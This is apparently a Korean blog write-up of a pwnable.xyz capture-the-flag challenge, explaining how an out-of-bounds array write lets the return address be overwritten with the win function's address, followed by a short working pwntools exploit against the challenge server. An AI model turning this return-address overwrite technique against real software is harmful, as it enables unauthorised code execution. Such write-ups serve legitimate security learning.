# 보호기법 확인
# IDA - pseudo code
memset(v7, 0, 80) : v7 시작주소에서부터 80 바이트를 0 값으로 설정한다.
%ld는 signed long int의 형식문자열로, signed long int의 유효범위는 -2147483648 ~ 2147483647이다.
win 함수에서 flag를 출력해주니까 win 함수로 리턴해서 flag를 출력할 방법을 찾아야 한다.
v7[v6] = v4 + v5
argv = (const char**)v7[v6];
v7의 위치는 [rbp-60h], 즉 rbp-96에 위치한다.
하지만 rbp+8에 return address가 위치한다.
(64bit이므로 주소가 4 바이트가 아닌 8 바이트!)
따라서 v7으로부터 -96 + x = 8을 만족하는 x는 104 바이트가 된다. (10진수)
v7의 시작주소에서 +104를 해야 return address 위치로 이동할 수 있고, 여기에 flag 함수의 주소를 넣으면 된다.
배열을 생각해보면, 각 인덱스는 해당 자료형의 크기만큼을 크기로 가진다.
따라서 v7 변수는 __int64 이므로 int형의 크기가 8 바이트이다.
따라서 각 인덱스가 8 바이트의 크기를 가지므로, v7[v6]에서 v6에는 104가 아닌 104/8 = 13인 인덱스에 return address가 위치한다고 생각해야 한다.
flag 함수의 주소는 0x400822인데, 입력받을 때 10진수로 입력받으므로 변환한 값으로 주면 된다.
# exploit code
#!/usr/bin/python
from pwn import *
p = remote("svc.pwnable.xyz", 30002)
p.sendlineafter("Input: ", "4196386 0 13")
p.sendlineafter("Input: ", "a a a")
p.interactive()
# exploit
[pwnable.xyz] Grownup (0) | 2019.09.27 |
---|---|
[pwnable.xyz] note (0) | 2019.09.27 |
[pwnable.xyz] misalignment (0) | 2019.09.17 |
[pwnable.xyz] sub (0) | 2019.09.05 |
[pwnable.xyz] welcome (0) | 2019.09.04 |